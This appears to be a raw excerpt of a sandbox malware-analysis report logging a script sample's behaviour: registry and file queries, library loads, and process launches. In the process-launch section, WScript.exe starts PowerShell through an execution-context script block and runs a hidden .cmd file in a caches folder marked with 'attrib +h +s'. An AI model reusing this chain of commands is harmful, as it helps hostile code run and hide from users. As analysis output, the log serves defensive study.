00000000-00000868-00000C17-2676561526 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00000868-00000C17-2677635929 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00000868-00000C17-2677764332 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00000868-00000C17-2678175570 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00001280-00000C17-2679133325 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00001280-00000C17-2679415418 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00001280-00000C17-2679701369 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00001280-00000C17-2680438405 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00001280-00000C17-2680532464 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00001280-00000C17-2680579492 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00001280-00000C17-2680806824 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll" at 00000000-00007652-00000C17-2685686789 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll" at 00000000-00007652-00000C17-2685757466 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll" at 00000000-00007652-00000C17-2685779314 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00007652-00000C17-2685907446 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00007652-00000C17-2685907654 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00007652-00000C17-2688897626 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00007652-00000C17-26894177782e:T50b,"powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\043E4AD5D7CD1251BED7D5DEB038CDA7ED1481B7"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\104C63D2546B8021DD105E9FBA5A8D78169F6B32"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\247106A405B288A46E70A0262717162D0903E734"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\27AC9369FAF25207BB2627CEFACCBE4EF9C319B8"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\339CDD57CFD5B141169B615FF31428782D1DA639"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\4C27431717565A3A07F3E6D0032C4258949CF9EC"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\525C47FB3A5E0655FBD4BE963CA1E94D5FECB43D"; Key: "BLOB")2f:T44b,"WScript.exe" called "CreateProcessW" with parameter ""%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -command &($executioncontext.InvokeCommand.NewScriptBlock([" - (UID: 00000000-00007632) "WScript.exe" called "CreateProcessW" with parameter ""%WINDIR%\system32\cmd.exe" /c call "%LOCALAPPDATA%\Microsoft\Windows\Caches\54102062952225.cmd" & attrib +h +s" - (UID: 00000000-00007632) "cmd.exe" called "CreateProcessW" with parameter ""%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "&($executioncontext.InvokeCommand.NewScriptBlock" - (UID: 00000000-00005296) "cmd.exe" called "CreateProcessW" with parameter "attrib +h +s "%LOCALAPPDATA%\Microsoft\Windows\Caches\54102062952225.cmd"" - (UID: 00000000-00005296) "powershell.exe" called "CreateProcessW" with parameter ""%WINDIR%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "&($executioncontext.InvokeCommand.NewScriptBlock(" - (UID: 00000000-00001280) "powershell.exe" called "CreateProcessW" with parameter ""%WINDIR%\system32\choice.exe"" - (UID: 00000000-00007652)30:Tc225,"WScript.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00007632) "WScript.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00007632) "WScript.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00007632) "WScript.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007632) "WScript.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007632) "WScript.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007632) "WScript.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007632) "WScript.exe" called "LoadLibrary" with a parameter WLDP.DLL (UID: 00000000-00007632) "WScript.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00007632) "WScript.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00007632) "WScript.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MPCLIENT.DLL (UID: 00000000-00007632) "WScript.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MsMpLics.dll (UID: 00000000-00007632) "WScript.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00007632) "WScript.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00007632) "WScript.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00007632) "WScript.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00007632) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00000652) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00000652) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00000652) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00000652) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00000652) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00000652) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00000652) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00000652) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00000652) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00000652) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00000652) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00000652) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00000652) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00000652) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00000652) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll (UID: 00000000-00000652) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00000652) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00000652) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00000652) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00000652) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00000652) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00000652) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll (UID: 00000000-00000652) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll (UID: 00000000-00000652) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\b5ba37e1558ced178a99011a1d659b52\Microsoft.PowerShell.ConsoleH (UID: 00000000-00000652) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00000652) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00000652) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\6da01910c256231d1c50ad0aacee5941\System.Management.Automation. (UID: 00000000-00000652) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00000652) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00000652) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00000652) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00000652) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00000652) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00000652) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00000652) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00000652) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00000652) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00000652) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00000652) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00000652) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00000652) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00000652) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00000652) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00000652) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00000652) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00000652) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00000652) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00000652) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00000652) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00000652) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00000652) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00000652) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00000652) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\7b1f35fb0c2d6955ce5af2bd372c65f2\Microsoft.Management.Infrastr (UID: 00000000-00000652) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00000652) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00000652) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\b221af81285c1305324612e6dc9c88ff\System.Management.ni.dll (UID: 00000000-00000652) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00000652) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\8ad4c0af5b3d51a0f3a4dac0d44d85d4\System.DirectoryServices.ni.d (UID: 00000000-00000652) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\5ee35debfc22f727e70e4479ddcbc045\System.Xml.ni.dll (UID: 00000000-00000652) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Numerics\86cfd69ce1261baf4740e7606cade014\System.Numerics.ni.dll (UID: 00000000-00000652) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\7bed49c46de9295a8453db205c60a028\System.Data.ni.dll (UID: 00000000-00000652) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00000652) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00000652) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00000652) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\7ff5199e757cb8af9ad949453f698d09\Microsoft.PowerShell.Security (UID: 00000000-00000652) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\604272b0faec2e09d53d38e03bc89c6c\System.Transactions.ni.dll (UID: 00000000-00000652) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\4beb1eeca20b27d4bd1bb9880f03cc2a\System.Configuration.ni.dll (UID: 00000000-00000652) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00000652) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00000652) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00000652) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00000652) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00000652) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00000652) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00000652) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MPCLIENT.DLL (UID: 00000000-00000652) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MsMpLics.dll (UID: 00000000-00000652) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00000652) "powershell.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00000652) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00000652) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00000652) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00000652) "powershell.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00000652) "powershell.exe" called "LoadLibrary" with a parameter oleaut32 (UID: 00000000-00000652) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00000652) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00000652) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00000868) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00000868) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00000868) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00000868) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00000868) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00000868) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00000868) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00000868) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00000868) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00000868) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00000868) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00000868) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00000868) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00000868) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00000868) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll (UID: 00000000-00000868) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00000868) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00000868) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00000868) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00000868) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00000868) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00000868) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll (UID: 00000000-00000868) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll (UID: 00000000-00000868) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\b5ba37e1558ced178a99011a1d659b52\Microsoft.PowerShell.ConsoleH (UID: 00000000-00000868) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00000868) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00000868) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\6da01910c256231d1c50ad0aacee5941\System.Management.Automation. (UID: 00000000-00000868) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00000868) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00000868) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00000868) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00000868) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00000868) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00000868) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00000868) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00000868) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00000868) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00000868) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00000868) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00000868) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00000868) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00000868) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00000868) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00000868) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00000868) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00000868) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00000868) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00000868) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00000868) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00000868) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00000868) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00000868) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\7b1f35fb0c2d6955ce5af2bd372c65f2\Microsoft.Management.Infrastr (UID: 00000000-00000868) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\b221af81285c1305324612e6dc9c88ff\System.Management.ni.dll (UID: 00000000-00000868) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\8ad4c0af5b3d51a0f3a4dac0d44d85d4\System.DirectoryServices.ni.d (UID: 00000000-00000868) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\5ee35debfc22f727e70e4479ddcbc045\System.Xml.ni.dll (UID: 00000000-00000868) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Numerics\86cfd69ce1261baf4740e7606cade014\System.Numerics.ni.dll (UID: 00000000-00000868) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\7bed49c46de9295a8453db205c60a028\System.Data.ni.dll (UID: 00000000-00000868) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00000868) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00000868) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00000868) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00000868) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00000868) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00000868) 